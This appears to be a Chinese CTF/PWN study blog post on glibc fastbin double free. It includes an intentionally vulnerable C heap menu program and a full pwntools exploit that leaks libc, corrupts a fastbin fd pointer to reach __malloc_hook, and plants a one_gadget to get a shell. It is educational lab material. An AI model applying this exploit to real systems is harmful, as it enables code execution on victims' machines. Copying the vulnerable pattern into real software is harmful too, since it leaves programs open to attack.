当前位置: 首页 > article >正文

【我的 PWN 学习手札】Fastbin Double Free

前言

Fastbin的Double Free实际上还是利用其特性产生UAF的效果,使得可以进行Fastbin Attack 


一、Double Free

double free,顾名思义,free两次。对于fastbin这种单链表的组织结构,会形成这样一个效果:

如果我们malloc一块chunk,修改其fd指针,实际上实现了这样的效果:

这样就可以后利用到劫持__malloc_hook实现getshell

然而glibc有如下检查:

if (__builtin_expect(old == p, 0)) {
    errstr = "double free or corruption (fasttop)";
    goto errout;
}

意思是“刚去下来的chunk,和现在对应fastbin的第一个free chunk不能是同一个”,也即,两个chunk在fastbin中不能是自指的。

绕过也非常简单:在double free之中穿插释放其他的同样size的chunk即可

 

此时 malloc 获取 chunk1 等价于 UAF 漏洞。可以修改 chunk1 的 fd 指针指向特定地址,这样就
可以在特定位置申请 chunk 。利用Double Free,可以实现在没有edit函数的情况下(只能add时写),达成fastbin attack的效果

不过仍需要满足size的要求,具体看这一篇。 

二、测试与模板

这里用FastbinAttack的示例,稍作修改,用DoubleFree实现利用。

 

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
context.arch=elf.arch
context.log_level='debug'

io=process('./pwn')
def add(index,size):
    io.sendlineafter(b'choice:\n',b'1')
    io.sendlineafter(b'index:\n',str(index).encode())
    io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):
    io.sendlineafter(b'choice:\n',b'2')
    io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
    io.sendlineafter(b'choice:\n',b'3')
    io.sendlineafter(b'index',str(index).encode())
    io.sendlineafter(b'length:\n',str(length).encode())
    io.sendafter(b'content:\n',content)
def show(index):
    io.sendlineafter(b'choice:\n',b'4')
    io.sendlineafter(b'index:\n',str(index).encode())

gdb.attach(io)

# leak libc
add(0,0x100)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))+0x7c1ab1200000-0x7c1ab159bb78
success(hex(libc_base))

# Fastbin Double Free
target_addr=libc_base-0x7c1ab1200000+0x7c1ab159baed

add(0,0x68) # chunk0
add(1,0x68) # chunk1
delete(0)   # chunk0
delete(1)   # chunk1
delete(0)   # chunk0
pause()
add(2,0x68) # chunk0
edit(2,0x8,p64(target_addr))
pause()
add(3,0x68) # chunk1
add(4,0x68) # chunk0
add(5,0x68) # fake_chunk

# one_gadget
'''
0x3f3e6 execve("/bin/sh", rsp+0x30, environ)
constraints:
  address rsp+0x40 is writable
  rax == NULL || {rax, "-c", rbx, NULL} is a valid argv

0x3f43a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

0xd5c07 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
'''
# edit(0,0x13+0x8,b'a'*0x13+p64(libc_base+0xd5c07))   
edit(5,0x13+0x8,b'a'*(0x13-0x8)+p64(libc_base+0x3f43a)+p64(libc_base+libc.sym['realloc']+9))
add(0,0x10)
io.interactive()

http://www.kler.cn/a/307036.html

相关文章:

  • 快速学习Serde包实现rust对象序列化
  • 微信小程序_模板与配置_day2
  • AndroidStudio-文本显示
  • 电脑提示xinput1_3.dll丢失怎么办?游戏DLL修复方法详解
  • SpringBoot(十三)SpringBoot配置webSocket
  • 大模型开发整体流程 基于个人知识库的问答助手 项目流程架构解析
  • 【系统分析师】-安全体系
  • 鸿蒙轻内核A核源码分析系列七 进程管理 (2)
  • 华为OD机试真题E卷-计算网络信号(含题目描述+解题思路+代码解析)
  • 记录一下gitlab社区版的安装教程
  • 通过TensorBoard查看服务器训练过程
  • 【LeetCode】每日一题 2024_9_15 与车相交的点(差分)
  • C语言编译原理
  • Parallels Desktop 20 发布下载,macOS Sequoia 和 Windows 11 24H2 支持准备就绪
  • 红外成像人员检测数据集
  • 基于C#+Mysql实现(界面)企业的设备管理系统
  • leetcode18-27
  • 谷歌在在线展示广告技术上的垄断,Meta无法有效竞争
  • 【机器学习】8 ——朴素贝叶斯
  • C++ primer chapter 12
  • 中秋献礼!2024年中科院一区极光优化算法+分解对比!VMD-PLO-Transformer-LSTM多变量时间序列光伏功率预测
  • Rabbitmq中得RPC调用代码详解
  • MySQL学习(视图总结)
  • idea集成和使用Git指南
  • uni-app 应用名称 跟随系统语言 改变
  • 沉浸式体验和评测Meta最新超级大语言模型405B